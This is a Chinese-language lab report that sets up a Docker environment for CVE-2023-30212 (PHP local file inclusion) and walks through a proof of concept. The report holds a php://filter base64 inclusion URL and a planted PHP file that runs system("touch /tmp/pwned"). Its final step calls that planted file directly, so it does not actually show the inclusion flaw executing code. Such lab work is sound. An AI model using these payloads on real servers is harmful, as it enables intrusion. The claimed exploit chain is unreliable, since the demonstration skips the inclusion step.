cve-2023-30212

使用 Docker 的 CVE-2023-30212 PoC

CVE-2023-30212 环境搭建及 PoC 报告

📌 概述

本报告针对 Vulhub 中未收录的 CVE-2023-30212 漏洞，自行搭建基于 Docker 的易受攻击的 Web 环境，并通过 PoC 验证该漏洞。

• CVE 编号: CVE-2023-30212
• 漏洞描述: 存在通过 PHP LFI(Local File Inclusion) 实现远程代码执行的可能性
• 难度: 高级 (搭建 Vulhub 中不存在的环境)

🔧 环境搭建

1. Dockerfile 与 docker-compose 配置

• 基础镜像: php:8.1-apache
• 将 vulnerable.php 和 malicious.php 复制到 /var/www/html 目录
• 可通过 8088 端口从外部访问

2. 主要文件说明

🚀 漏洞利用流程 (PoC)

1. 启动容器

docker-compose up -d

容器名称: cve-2023-30212-cve-lfi-1

Apache 服务器启动后，可通过 http://localhost:8088 访问

2. 查看 LFI 恶意文件源码 调用以下 URL，以 base64 编码形式查看 malicious.php 的内容:

http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php

将输出结果解码后，可确认以下 PHP 代码:

<?php system("touch /tmp/pwned"); ?>

3. 执行命令并检查结果 调用以下 URL，实际执行命令:

http://localhost:8088/malicious.php

命令执行后，应生成 /tmp/pwned 文件。

docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp

如果结果中存在 pwned 文件，则表示成功。

结果摘要

通过基于 php://filter 的 LFI 漏洞，成功查看并解码恶意文件内容

通过调用包含 system() 函数的恶意 PHP，成功执行任意命令

已生成 /tmp/pwned 文件，PoC 验证完成